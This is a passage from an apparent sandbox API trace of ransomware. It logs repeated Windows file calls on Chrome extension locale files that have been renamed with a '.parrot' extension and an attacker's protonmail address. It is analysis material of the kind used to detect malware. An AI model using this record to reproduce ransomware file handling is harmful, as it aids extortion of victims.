nNumberOfBytesToLockHigh=0x0) returned 1 [0094.323] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.323] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.323] CloseHandle (hObject=0x23c) returned 1 [0094.324] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.324] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.324] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.324] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.324] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.325] CloseHandle (hObject=0x23c) returned 1 [0094.325] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.325] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.325] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.325] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.325] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.326] CloseHandle (hObject=0x23c) returned 1 [0094.326] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.326] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x208 [0094.327] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x320, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.327] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.327] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.327] CloseHandle (hObject=0x23c) returned 1 [0094.327] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.328] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.328] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.328] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.328] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.329] CloseHandle (hObject=0x23c) returned 1 [0094.329] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.329] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x208 [0094.329] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x320, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.329] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.329] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.330] CloseHandle (hObject=0x23c) returned 1 [0094.330] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.331] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x248 [0094.331] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x360, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.331] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.331] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.332] CloseHandle (hObject=0x23c) returned 1 [0094.332] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.332] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x208 [0094.332] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x320, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.332] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.332] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.333] CloseHandle (hObject=0x23c) returned 1 [0094.333] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.333] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.333] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.333] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.333] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.334] CloseHandle (hObject=0x23c) returned 1 [0094.334] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.335] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.335] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.335] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.335] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.336] CloseHandle (hObject=0x23c) returned 1 [0094.336] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.336] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x208 [0094.336] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x320, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.336] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.336] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.337] CloseHandle (hObject=0x23c) returned 1 [0094.337] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.337] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x208 [0094.337] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x320, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.337] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.338] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.338] CloseHandle (hObject=0x23c) returned 1 [0094.338] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.339] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x208 [0094.339] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x320, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.339] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.339] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.340] CloseHandle (hObject=0x23c) returned 1 [0094.340] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.340] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x208 [0094.340] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x320, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.340] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.340] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.341] CloseHandle (hObject=0x23c) returned 1 [0094.341] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.342] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.342] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.342] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.342] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.343] CloseHandle (hObject=0x23c) returned 1 [0094.343] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.343] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.343] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.343] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.343] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.344] CloseHandle (hObject=0x23c) returned 1 [0094.344] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.344] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1e8 [0094.344] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x300, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.344] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.344] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.345] CloseHandle (hObject=0x23c) returned 1 [0094.345] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.346] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.346] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.346] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.346] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.346] CloseHandle (hObject=0x23c) returned 1 [0094.346] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.347] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.347] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.347] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.347] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.348] CloseHandle (hObject=0x23c) returned 1 [0094.348] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 